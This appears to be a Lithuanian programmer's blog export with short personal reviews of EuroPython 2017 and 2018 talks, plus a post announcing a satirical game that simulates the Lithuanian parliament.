<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-SBfYg5kviQY/W3hRr8G0sRI/AAAAAAAABsA/njrZo4nceKM2crNOYp1nPpwS7Ue1p4tzwCPcBGAYYCw/s1600/ep2018%2B-%2B70.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-SBfYg5kviQY/W3hRr8G0sRI/AAAAAAAABsA/njrZo4nceKM2crNOYp1nPpwS7Ue1p4tzwCPcBGAYYCw/s320/ep2018%2B-%2B70.JPG" width="287" height="320" data-original-width="1435" data-original-height="1600" /></a></div>
<br />
<h4>How to Ignore Most Startup Advice and Build a Decent Software Business</h4>
<a href="https://www.youtube.com/watch?v=Rps9lHflkCg&t=8h">https://www.youtube.com/watch?v=Rps9lHflkCg&t=8h</a>
<br />
Truputį prasčiau papasakota tai, ką DHH jau kuris laikas pasakoja
reklamuodamas savo naują knygą.
<br />
<br />
<a href="https://medium.com/@dhh">https://medium.com/@dhh</a>
<br />
<a href="https://basecamp.com/books/calm">https://basecamp.com/books/calm</a>
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-YlmLyeKsBw8/W3hRsPMSMII/AAAAAAAABr0/TGw6h_lkjM49lpg_cYqnnGaPhKsBWkaXACPcBGAYYCw/s1600/ep2018%2B-%2B74.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-YlmLyeKsBw8/W3hRsPMSMII/AAAAAAAABr0/TGw6h_lkjM49lpg_cYqnnGaPhKsBWkaXACPcBGAYYCw/s320/ep2018%2B-%2B74.JPG" width="320" height="168" data-original-width="1600" data-original-height="838" /></a></div>
<br />
<h4>Why Python is at the heart of Smarkets</h4>
<a href="https://www.youtube.com/watch?v=Rps9lHflkCg&t=8h44m1s">https://www.youtube.com/watch?v=Rps9lHflkCg&t=8h44m1s</a>
<br />
Rėmėjai papasakojo, kodėl jie kieti. Kadangi davė konferencijai daug pinigų,
tai tegul pasakoja.
<br />
<br />
<h4>Lightning talks</h4>
<a href="https://www.youtube.com/watch?v=Rps9lHflkCg&t=9h1m3s">https://www.youtube.com/watch?v=Rps9lHflkCg&t=9h1m3s</a>
<br />
Yra toks modulis "decorator", kuris padeda išsaugoti dekoruojamos funkcijos
parašą.
<br />
<a href="https://pypi.org/project/decorator/">https://pypi.org/project/decorator/</a>
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-lDHo8vPl5CY/W3hRsZZpfzI/AAAAAAAABr4/16R3vrGKnMoqC998UNV7Om2H1gIP1DU1wCPcBGAYYCw/s1600/ep2018%2B-%2B76.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-lDHo8vPl5CY/W3hRsZZpfzI/AAAAAAAABr4/16R3vrGKnMoqC998UNV7Om2H1gIP1DU1wCPcBGAYYCw/s320/ep2018%2B-%2B76.JPG" width="320" height="151" data-original-width="1600" data-original-height="757" /></a></div>
<br />
<h4>Citizen Science with Python</h4>
<a href="https://www.youtube.com/watch?v=7uSjCp1wOrw&t=27m13s">https://www.youtube.com/watch?v=7uSjCp1wOrw&t=27m13s</a>
<br />
Įdomu. Nelabai daug Python.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-QWChanncZQw/W3hRsdNqzBI/AAAAAAAABr8/GFuLDNfwJtoscmiBlTM22L0lNSpfUWWxwCPcBGAYYCw/s1600/ep2018%2B-%2B79.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-QWChanncZQw/W3hRsdNqzBI/AAAAAAAABr8/GFuLDNfwJtoscmiBlTM22L0lNSpfUWWxwCPcBGAYYCw/s320/ep2018%2B-%2B79.JPG" width="320" height="226" data-original-width="1600" data-original-height="1131" /></a></div>
<br />
<h4>EduBlocks - Making the transition to Python easier!</h4>
<a href="https://www.youtube.com/watch?v=7uSjCp1wOrw&t=1h41m35s">https://www.youtube.com/watch?v=7uSjCp1wOrw&t=1h41m35s</a>
<br />
Čia buvo geras. Kažkoks 12-tis pristatinėjo savo aplikaciją, kurią pats sukūrė
ir kurią realiai naudoja Britanijos mokyklos mokinant informatikos. Ir
pristatymas nebuvo "o aš čia toks mažas vaikeliukas. Čia kažką biški parašiau.
He, he. Kaip drovu man čia ant scenos kalbėti.".
<br />
<br />
Ne. Kalbėjo kaip koks kilmingas britas, kai dar Britanija buvo imperija.
Užtikrintai, tiksliai ir svarbiausia įdomiai.
<br />
<br />
<a href="https://edublocks.org/">https://edublocks.org/</a>
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-MJjX_k2sUD0/W3hRs--UfRI/AAAAAAAABsI/UWNioJXdp4k57qd1ZWLHIkMzQfy2y3EEwCPcBGAYYCw/s1600/ep2018%2B-%2B81.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-MJjX_k2sUD0/W3hRs--UfRI/AAAAAAAABsI/UWNioJXdp4k57qd1ZWLHIkMzQfy2y3EEwCPcBGAYYCw/s320/ep2018%2B-%2B81.JPG" width="320" height="242" data-original-width="1600" data-original-height="1210" /></a></div>
<br />
<h4>Get Productive with Python in Visual Studio Code</h4>
<a href="https://www.youtube.com/watch?v=7uSjCp1wOrw&t=2h31m17s">https://www.youtube.com/watch?v=7uSjCp1wOrw&t=2h31m17s</a>
<br />
Pristatė Visual Studio Code galimybes dirbant su Python. Šiaip panašu, kad
geras įrankis. Turbūt menkai nusileidžiantis PyCharm. Jeigu nusileidžiantis.
Iš kur man žinoti -- aš tai Vim naudoju. He, he. Kaip drovu čia man viešai
rašyti.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-3gdVEgZL2yk/W3hRtQNLh7I/AAAAAAAABsI/PpY3l_FSBwUKUQPHbgg9GJ4hOl1tR7Z6wCPcBGAYYCw/s1600/ep2018%2B-%2B91.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-3gdVEgZL2yk/W3hRtQNLh7I/AAAAAAAABsI/PpY3l_FSBwUKUQPHbgg9GJ4hOl1tR7Z6wCPcBGAYYCw/s320/ep2018%2B-%2B91.JPG" width="320" height="231" data-original-width="1600" data-original-height="1155" /></a></div>
<br />
<h4>Exploring the Python AST Ecosystem</h4>
<a href="https://www.youtube.com/watch?v=4Wr31kp6Hgg&t=1h41m58s">https://www.youtube.com/watch?v=4Wr31kp6Hgg&t=1h41m58s</a>
<br />
Gerai paruoštas ir technitškai gilus pranešimas. Apie tai kaip naudoti pitono
abstrakčius kodo medžius, kad gauti sau naudos (pvz.: statiškai validuojant
kažkokią specialią biznio logiką).
<br />
<br />
Vienas geresnių konferencijos pranešimų. Rekomenduoju.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-JDQ0y0qf4oI/W3hRtWkEgcI/AAAAAAAABsA/1r-T_3EgC9UUJIMgmMfRZSSKKhGsZuugACPcBGAYYCw/s1600/ep2018%2B-%2B94.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-JDQ0y0qf4oI/W3hRtWkEgcI/AAAAAAAABsA/1r-T_3EgC9UUJIMgmMfRZSSKKhGsZuugACPcBGAYYCw/s320/ep2018%2B-%2B94.JPG" width="161" height="320" data-original-width="803" data-original-height="1600" /></a></div>
<br />
<h4>Trust me, I'm a Data Scientist - ethics for builders of data-based applications</h4>
<a href="https://www.youtube.com/watch?v=x5tcYO-SVnc&t=3h32m45s">https://www.youtube.com/watch?v=x5tcYO-SVnc&t=3h32m45s</a>
<br />
Kažkokia pieva.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-bP775jSPSgc/W3hRtgrN4oI/AAAAAAAABsE/68UZHeb14D4gvNHYTBB_i9n7GQZaouLrACPcBGAYYCw/s1600/ep2018%2B-%2B98.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-bP775jSPSgc/W3hRtgrN4oI/AAAAAAAABsE/68UZHeb14D4gvNHYTBB_i9n7GQZaouLrACPcBGAYYCw/s320/ep2018%2B-%2B98.JPG" width="246" height="320" data-original-width="1232" data-original-height="1600" /></a></div>
<br />
<h4>Lies, damned lies, and statistics</h4>
<a href="https://www.youtube.com/watch?v=x5tcYO-SVnc&t=4h6m51s">https://www.youtube.com/watch?v=x5tcYO-SVnc&t=4h6m51s</a>
<br />
Geras pranešimas apie statistikos netinkamą naudojimą. Nelabai susijęs su
Python. Bet geras.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-u-GBMn8QlQs/W3hRt1mMCOI/AAAAAAAABsI/0dhPS2LMZakhihw3N-OhLUB_CTQ-5SgMwCPcBGAYYCw/s1600/ep2018%2B-%2B99.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-u-GBMn8QlQs/W3hRt1mMCOI/AAAAAAAABsI/0dhPS2LMZakhihw3N-OhLUB_CTQ-5SgMwCPcBGAYYCw/s320/ep2018%2B-%2B99.JPG" width="320" height="298" data-original-width="1600" data-original-height="1488" /></a></div>
<br />
<h4>Domain-Driven Design Patterns in Python</h4>
<a href="https://www.youtube.com/watch?v=SnlIqq-7XKU&t=4h59m41s">https://www.youtube.com/watch?v=SnlIqq-7XKU&t=4h59m41s</a>
<br />
Lyg ir įdomus buvo. Lyg ir naudingas. Bet dabar nieko nebeatsimenu. Gal dėl
to, kad paskutinis konferencijos pranešimas ir jau po biški trūkinėjo ryšys
galvoje.
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/--YCdls8XSIQ/W3hRmgehNHI/AAAAAAAABrw/kpHdQ03FTccKCtl8VOJ15CIpfHpT_E7eQCPcBGAYYCw/s1600/ep2018%2B-%2B104.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/--YCdls8XSIQ/W3hRmgehNHI/AAAAAAAABrw/kpHdQ03FTccKCtl8VOJ15CIpfHpT_E7eQCPcBGAYYCw/s320/ep2018%2B-%2B104.JPG" width="320" height="236" data-original-width="1600" data-original-height="1179" /></a></div>
<br />
<h4>Lightning Talks</h4>
<a href="https://www.youtube.com/watch?v=7uSjCp1wOrw&t=8h28m43s">https://www.youtube.com/watch?v=7uSjCp1wOrw&t=8h28m43s</a>
<br />
<a href="https://github.com/ambv/black">https://github.com/ambv/black</a>
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-8CZWoXrGdvc/W3hRmm50g-I/AAAAAAAABrw/OzVdthlCcG8lHBt5oePzr55WkwpEwX3FgCPcBGAYYCw/s1600/ep2018%2B-%2B109.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-8CZWoXrGdvc/W3hRmm50g-I/AAAAAAAABrw/OzVdthlCcG8lHBt5oePzr55WkwpEwX3FgCPcBGAYYCw/s320/ep2018%2B-%2B109.JPG" width="320" height="320" data-original-width="1600" data-original-height="1598" /></a></div>
<br />Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com0tag:blogger.com,1999:blog-1632656242730180910.post-64357711510443229322017-10-04T01:50:00.000+03:002018-01-05T16:24:37.022+02:00Sukūriau žaidimą "Seimo simuliacijas<a href="http://seimas.petraszd.com/" target="_blank">http://seimas.petraszd.com/</a><br />
<br />
Galbūt kartais galvojate, kas per velnias dedasi Lietuvos seime? Daugiau nebepergyvenkite!<br />
<br />
Viskas tuoj pasidarys aišku, nes aš sukūriau žaidimą, kuris tiksliai simuliuoja seimo ir seimo narių darbo principus.<br />
<br />
Keli pavyzdžiai iš mano sukurto įstatymų generatoriaus:<br />
<br />
<i>"Reikia įvesti privalomas rytines maldas šauktiniams ir tokiu būdu parodyti Rusijai jos vietą."</i><br />
<br />
<i>"Rūpindamiesi paprastu žmogumi planuojame įvesti reikalavimą be
specialaus leidimo neleisti naudotis mobiliais telefonais alkopramonės
atstovams, nes būtų gerai sudaryti sąlygas elektromobilių atėjimui į
Lietuvą."</i>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com0tag:blogger.com,1999:blog-1632656242730180910.post-18418311292613067242017-08-01T00:06:00.001+03:002017-08-01T18:59:56.717+03:00EuroPython 2017 apžvalga<h3>
Asmeninė patirtis/Vieta</h3>
<br />
Iš pusšaltės Lietuviškos vasaros patekau į normalų Itališką kurortą, kurį praminiau 100x Basanavičiaus gatvės kurortu. Gal ir gerai, kad nestebuklinga vieta. Kitaip būčiau praleidęs visą laiką, kur nors kitur vietoje to, kad eiti į konferenciją šviestis, tobulėti, valgyti dietologų nerekomenduojamą maistą nerekomenduojamais kiekiais, viską užgerti daug kavos ir vyno vakare, ilgai kalbant po oficialios dalies (tam, kad nuolat nedamiegoti) apie kitų šalių politiką, kultūrą, tradicijas ir šiaip. "Šiaip" reiškia programavimą ir moteris/vyrus. Procentaliai tema "apie moteris" lenkė "apie vyrus" gana daug nuošimčių. Nes vis dėlto programavimas. Bent jau įsivaizduojate, kaip nykiais skamba programuotojų bandymas kažką protinga pasisakyti ta tema negimtąja kalba? Aš įsivaizduoju, nes "how to say".<br />
<br />
Tai čia aš apžvelgsiu tos savaitinės (Nes konferencija trunka 5 dienas + 1 pradedančiųjų mokymai + 2 <i>sprint</i>'ai) mėsmalės, po kurios jautiesi taip, lyg tai rašytum į delfi skyrių "Bendraukime" tema "Kaip aš po Python konferencijos nusprendžiau viską savo gyvenime keisti ir pradėti sveikai gyventi". Tai va, pateiksiu tos savaitės savo įžvalgas ir perklausytų kalbų apžvalgas. Viską palydės mano konspektai, kur vėl piešiau gyvatėles (Linkėjimai Froidui).<br />
<br />
<h3>
Keturi aspektai</h3>
<br />
Grįžęs iš konferencijos visada mąstau, kokios esmines kryptis ir idėjas galima pajusti tvyrant konferencijos ore (atsiprašau už kvailai poetinį išsireiškimą). Pavyzdžiui, kažkada buvo galima pajusti, kad mikro karkasų (<i>microframeworks</i>) banga tuoj, tuoj nuneš visą industriją. Tai tą buvo galima pastebėti prieš du/tris metus. Šiais metais pastebėjau kitas 4-ias tendencijas.<br />
<br />
<h4>
Bitcoin ir blockchain</h4>
<br />
Pirmiau istorija. Aš visą laiką žiūrau į BitCoin'us (ir viską, kas su jais susiję) atsargiai. Nes man visada ten atrodo, kaip kelių rimtų sukčių ir tūkstančių melžiamų ožkučių (kurie vis dar, iki rimtesnio numelžimo, jaučiasi rimtais sukčiais) irštva. Ir aš nemanau, kad taip vėlai prisijungęs aš nebūčiau tas, kurį melžia.<br />
<br />
Taigi, vieną vakarą Kiwi kompanija organizavo vakarėlį paplūdimyje. Viskas tvarkinga -- sumokėta barui, kad jeigu parodai ženkliuką, gauni nemokamai gėrimų.<br />
<br />
Tada kitą vakarą BitCoin sindikatas (taip ir nesupratau, kas tiksliai: kažkiek pavienių žmonių ir kažkiek kažkaip tarpusavyje susijusių kompanijų) irgi suorganizavo vakarėlį paplūdimyje ir paskaitą apie BitCoin ir <i>blockchain</i> technologijas.<br />
<br />
Kai nuėjome pasižmonėti ir paklausyti apie <i>blockchain</i> (nes nu man iš tikro įdomu ta technologija), tai visus radome ne paplūdimyje, o automobilių stovėjimo aikštelėje prie paplūdimio. Nes nebuvo jokio baro, o sindikatas tiesiog nupirko kelias dėžes alaus ir juos visus praspyrė iš paplūdimio, nes ten galima gerti tik iš skardinių, o ne iš stiklinių butelių.<br />
<br />
Paskaita tai buvo kelių vaikinų rėkimas apie tai kaip BitCoin'ai labai gerai ir viską gali pirkti, ir paprasti pinigai negerai, nes illuminati, ir visos valstybės yra negerai. Ypač vakarų valstybės.<br />
<br />
Tai taip ir nepagilinau savo BlockChain žinių, o ėjau į paplūdimį ir į jūrą maudytis.<br />
<br />
O šiaip konferencijoje buvo keletas kalbų apie <i>blockchain</i>, kaip technologiją. Ir panašu, kad ateityje tai gali tapti rimta iš techninės pusės, o ne iš tų ožkutinių pinigų pusės.<br />
<br />
Nu bet tada grįžęs skaičiau N tokių straipsnių:<br />
<a href="https://medium.freecodecamp.org/a-hacker-stole-31m-of-ether-how-it-happened-and-what-it-means-for-ethereum-9e5dc29e33ce">https://medium.freecodecamp.org/a-hacker-stole-31m-of-ether-how-it-happened-and-what-it-means-for-ethereum-9e5dc29e33ce</a><br />
<br />
<h4>
EuroPython tampa lokalia konferencija</h4>
<br />
Kažkada EuroPython buvo antra pagal dydį (po PyCon) ir automatiškai pagal svarbą Python konferencija. Kažakada (berods 2010) aš pats dalyvavau CPython sprinte, kur mums durnutukams patarinėjo N (Kur N > 2) Python <i>core</i> programuotojų. Jau kelinti metai nevyksta net CPython sprintas. Po teisybei, nei Django sprintas nevyksta. Nes nors ir EuroPython vis dar yra antra pagal dydį Python konferencija, bet <i>core</i> ešalonas ją jau aplenkia.<br />
<br />
O ir pranešimų <i>core</i> programuotojai beveik neskaitė. Aš šiaip nesu tikras dėl to žodžio "beveik" reikalingumo. Gali būti, kad nei vienas <i>core</i> Python programuotojas neskaitė jokio pranešimo EuroPython konferencijoje.<br />
<br />
EuroPython po truputį tampa bėdžių europiečių konferencija bėdžiams europiečiams.<br />
<br />
<h4>
Klijų kalba</h4>
<br />
Iš visų kalbų labai pranešimų ir nuotaikų aplinkui panašu, kad Python'as po truputį tampa absoliučiai klijuojančia programavimo kalba (<i>glue language</i>). T.y. kalba, kuria Python visą laiką reklamavosi, kad yra.<br />
<br />
Python visur naudojamas kažką su kažkuo surišti ir sujungti. Pvz.: TensorFlow (<a href="https://en.wikipedia.org/wiki/TensorFlow">https://en.wikipedia.org/wiki/TensorFlow</a>) <i>Machine Learning</i> įrankis, kur po apačia sukasi galingasis C++ ir CUDA, o paviršiuje yra patogus Python API, kad lengvai galėtum jį prikergti kur tau bereikia.<br />
<br />
Hmmmmm... Šiaip kuo toliau, tuo labiau į Python Web karkasus (<i>framework</i>) galima žiūrėti kaip į klijuojamo (<i>glue</i>) principo panaudojimą. Nes šiais laikas Python darbas iš esmės yra suklijuoti/sujungti DB (Pvz.: PostgreSQL) su kažkokiu UI (SPA ar mobili aplikacija) per kažkokį API.<br />
<br />
<h4>
Async IO, Python 3</h4>
<br />
Anksčiau būdavo jaučiama tokia mintis "Įdomu, ar Python3 prigis?". Po kiek laiko buvo jaučiama tokia mintis "Įdomu, ar Async IO prigis?". Panašu, kad tiek Async IO, tiek Python 3 jau prigijo ir gyvuos.<br />
<br />
Dėl Python 3 -- gerai, dėl Async IO -- aš asmeniškai nelabai patenkintas. Papildoma leksinė kompleksija, kai visą tai buvo galima atlikti esama sintakse (Žėti: Twisted, Greelet, Tornado)<br />
<br />
O kas panašu, kad neįgauna pagreičio tai tipų anotacijos (<a href="http://mypy-lang.org/">http://mypy-lang.org/</a>).<br />
<br />
<h3>
Perklausytos kalbos</h3>
<br />
<h4>
A Python for Future Generations</h4>
<a href="https://ep2017.europython.eu/conference/talks/a-python-for-future-generations">https://ep2017.europython.eu/conference/talks/a-python-for-future-generations</a><br />
<br />
Šiaip visai gera pabumbėjimo kalba. Maždaug, mažai kas gerai ir daug kas blogai. Ir ką reiktų keisti. Bet be jokio plano, kaip keisti, kada keisti. Tik kodėl reikia keisti.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-tTRR5Uv7M7s/WX-Lbn8OKYI/AAAAAAAABhE/vEEezMHV0tARID2E_UEwwq9r6P9_dQqZQCLcBGAs/s1600/ep2017-0001.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1144" height="320" src="https://4.bp.blogspot.com/-tTRR5Uv7M7s/WX-Lbn8OKYI/AAAAAAAABhE/vEEezMHV0tARID2E_UEwwq9r6P9_dQqZQCLcBGAs/s320/ep2017-0001.jpeg" width="228" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-vQioiLVEim8/WX-Lbn0bKPI/AAAAAAAABhI/nfVE1UEvuE4QprcTVIojHMu7OscgAMnhQCLcBGAs/s1600/ep2017-0002.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="738" height="320" src="https://3.bp.blogspot.com/-vQioiLVEim8/WX-Lbn0bKPI/AAAAAAAABhI/nfVE1UEvuE4QprcTVIojHMu7OscgAMnhQCLcBGAs/s320/ep2017-0002.jpeg" width="147" /></a></div>
<br />
<h4>
Protocols and Practices enforcing in Python through bytecode and inspection</h4>
<a href="https://ep2017.europython.eu/conference/talks/protocols-and-practices-enforcing-in-python-through-bytecode-and-inspection">https://ep2017.europython.eu/conference/talks/protocols-and-practices-enforcing-in-python-through-bytecode-and-inspection</a><br />
<br />
Turbogears 2 autoriui nepatinka, kad žmonės ima ir pridirba bilen kokių nesąmonių su jo sukurtu įrankiu. Tada ateina pas jį ir sako jam, kad jo įrankiai yra sugedę.<br />
<br />
Tai ši kalba apie tai, kaip apsaugoti pačius vartotojus nuo kojos persišovimo. Galvojate, kad siūlo naudoti <i>assert</i>, <i>if</i> ir visokias <i>metaclass</i> magija. O ne -- čia kapsto dar giliau ir siūlo knaisiotis po patį kodo medį ir ten tikrinti, ar jo kodas "teisingai" iškviestas.<br />
<br />
<a href="https://docs.python.org/3/library/inspect.html">https://docs.python.org/3/library/inspect.html</a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-hTgFTaDE910/WX-LbuSMm5I/AAAAAAAABhA/6j3bIfefD54tV68TRhkb3HXXxX8FwMLfwCLcBGAs/s1600/ep2017-0003.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1159" data-original-width="1600" height="231" src="https://1.bp.blogspot.com/-hTgFTaDE910/WX-LbuSMm5I/AAAAAAAABhA/6j3bIfefD54tV68TRhkb3HXXxX8FwMLfwCLcBGAs/s320/ep2017-0003.jpeg" width="320" /></a></div>
<br />
<h4>
2 + 2 = 5: Monkey-patching CPython with ctypes to conform to Party doctrine</h4>
<a href="https://ep2017.europython.eu/conference/talks/2-2-5-monkey-patching-cpython-with-ctypes-to-conform-to-party-doctrine">https://ep2017.europython.eu/conference/talks/2-2-5-monkey-patching-cpython-with-ctypes-to-conform-to-party-doctrine</a><br />
<br />
Įdomus pranešimas, kaip naudojant <i>ctypes</i> programos vykdymo eigoje keisti bitinį kodą į savo kodą. Rekomenduoju -- čia geras pranešimas.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-9mgHipF1JFw/WX-LcIDBtPI/AAAAAAAABhM/-KwfcTyhuXIcO588VePugUscFpmUUrU4gCLcBGAs/s1600/ep2017-0004.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1223" data-original-width="1600" height="244" src="https://4.bp.blogspot.com/-9mgHipF1JFw/WX-LcIDBtPI/AAAAAAAABhM/-KwfcTyhuXIcO588VePugUscFpmUUrU4gCLcBGAs/s320/ep2017-0004.jpeg" width="320" /></a></div>
<br />
<h4>
Bringing Python to Godot game engine</h4>
<a href="https://ep2017.europython.eu/conference/talks/bringing-python-to-godot-game-engine">https://ep2017.europython.eu/conference/talks/bringing-python-to-godot-game-engine</a><br />
<br />
Apie tai, kaip bandė Python pritempti prie Godot žaidimų variklio. Įdomu gali būti nebent tiems, kas domisi žaidimų programavimu.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-otr06xayxYc/WX-LcHqNfhI/AAAAAAAABhQ/sA6d6YJfskESpob5DZTdlNpDJmxnhvJIACLcBGAs/s1600/ep2017-0005.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1113" height="320" src="https://1.bp.blogspot.com/-otr06xayxYc/WX-LcHqNfhI/AAAAAAAABhQ/sA6d6YJfskESpob5DZTdlNpDJmxnhvJIACLcBGAs/s320/ep2017-0005.jpeg" width="222" /></a></div>
<br />
<h4>
Debugging in Python 3.6: Better, Faster, Stronger</h4>
<a href="https://ep2017.europython.eu/conference/talks/debugging-in-python-36-better-faster-stronger">https://ep2017.europython.eu/conference/talks/debugging-in-python-36-better-faster-stronger</a><br />
<br />
JetBrains programuotoja pasakojo, kaip galima pasirašyti greitą debuger'į<br />
<br />
Panašiai, kaip 2 + 2 = 5 pranešime naudojo <i>ctypes</i> ir įterpinėjo į bitų kodą savo erezijas, kad gautų daugiau greičio. Tik šitam pranešime mažiau magijos, o daugiau aiškumo.<br />
<br />
Rekomenduoju šį pranešimą.<br />
<br />
<a href="https://docs.python.org/3/library/dis.html">https://docs.python.org/3/library/dis.html</a><br />
<a href="https://www.python.org/dev/peps/pep-0523/">https://www.python.org/dev/peps/pep-0523/</a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-peQXf3VW85o/WX-LcahNtzI/AAAAAAAABhU/c7h4rlomM28tT7_LO15QtCsdIzpGY_z5wCLcBGAs/s1600/ep2017-0006.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1029" height="320" src="https://4.bp.blogspot.com/-peQXf3VW85o/WX-LcahNtzI/AAAAAAAABhU/c7h4rlomM28tT7_LO15QtCsdIzpGY_z5wCLcBGAs/s320/ep2017-0006.jpeg" width="205" /></a></div>
<br />
<h4>
Bitcoin and Blockchain for Pythoneers</h4>
<a href="https://ep2017.europython.eu/conference/talks/bitcoin-and-blockchain-for-pythoneers">https://ep2017.europython.eu/conference/talks/bitcoin-and-blockchain-for-pythoneers</a><br />
<br />
Buvo žiauriai nuobodu ir nieko neatsimenu.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-e4hgcS1QTqU/WX-LcgoL-sI/AAAAAAAABhY/1YBjt7pa8ps-nc2S522bXWTwh0AVAO2FACLcBGAs/s1600/ep2017-0007.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1137" height="320" src="https://4.bp.blogspot.com/-e4hgcS1QTqU/WX-LcgoL-sI/AAAAAAAABhY/1YBjt7pa8ps-nc2S522bXWTwh0AVAO2FACLcBGAs/s320/ep2017-0007.jpeg" width="227" /></a></div>
<br />
<h4>
AAA Games with Unreal Engine 4 and Python</h4>
<a href="https://ep2017.europython.eu/conference/talks/aaa-games-with-unreal-engine-4-and-python">https://ep2017.europython.eu/conference/talks/aaa-games-with-unreal-engine-4-and-python</a><br />
<br />
Žmogus sugebėjo įkergti Python į Unreal 4 žaidimų varikliuką. Realiai pačiuose žaidimuose nerekomenduoja naudoti. Bet rekomenduoja naudoti kaip klijuojantį įrankį, kad būtų lengviau bendrauti su kitais žaidimų kūrimo paketais. Pavyzdžiui: Maya.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-zA5xsHFfp10/WX-NlAZxsBI/AAAAAAAABjE/9FK88Obfw1Uh2eQSKekGvZAcC_9F5XLJwCLcBGAs/s1600/ep2017-0008.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1242" data-original-width="1600" height="248" src="https://1.bp.blogspot.com/-zA5xsHFfp10/WX-NlAZxsBI/AAAAAAAABjE/9FK88Obfw1Uh2eQSKekGvZAcC_9F5XLJwCLcBGAs/s320/ep2017-0008.jpeg" width="320" /></a></div>
<br />
<h4>
GPU Acceleration of a Global Atmospheric Model using Python based Multi-platform</h4>
<a href="https://ep2017.europython.eu/conference/talks/gpu-acceleration-of-a-global-atmospheric-model-using-python-based-multi-platform">https://ep2017.europython.eu/conference/talks/gpu-acceleration-of-a-global-atmospheric-model-using-python-based-multi-platform</a><br />
<br />
Labiau priminė kažkokio mokslinio laipsnio gynimą kažkokia labai siaura tema.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-P_hUaXg7Mkk/WX-LdF2VVnI/AAAAAAAABhc/vzu_YwqQGAYogjSWgbf3pfDEQ7Tqg6Z0ACLcBGAs/s1600/ep2017-0009.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1277" data-original-width="1600" height="255" src="https://1.bp.blogspot.com/-P_hUaXg7Mkk/WX-LdF2VVnI/AAAAAAAABhc/vzu_YwqQGAYogjSWgbf3pfDEQ7Tqg6Z0ACLcBGAs/s320/ep2017-0009.jpeg" width="320" /></a></div>
<br />
<h4>
Pirmos dienos "Lightning Talks"</h4>
Nieko įdomaus nebuvo<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-E3iurvNsddg/WX-LdRWzPkI/AAAAAAAABhg/WaojAT80-ic-pOcdn2R5p18j17H6gu7OQCLcBGAs/s1600/ep2017-0010.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1298" height="320" src="https://3.bp.blogspot.com/-E3iurvNsddg/WX-LdRWzPkI/AAAAAAAABhg/WaojAT80-ic-pOcdn2R5p18j17H6gu7OQCLcBGAs/s320/ep2017-0010.jpeg" width="259" /></a></div>
<br />
<h4>
How to create inspiring data visualizations?</h4>
<a href="https://ep2017.europython.eu/conference/talks/how-to-create-inspiring-data-visualizations">https://ep2017.europython.eu/conference/talks/how-to-create-inspiring-data-visualizations</a><br />
<br />
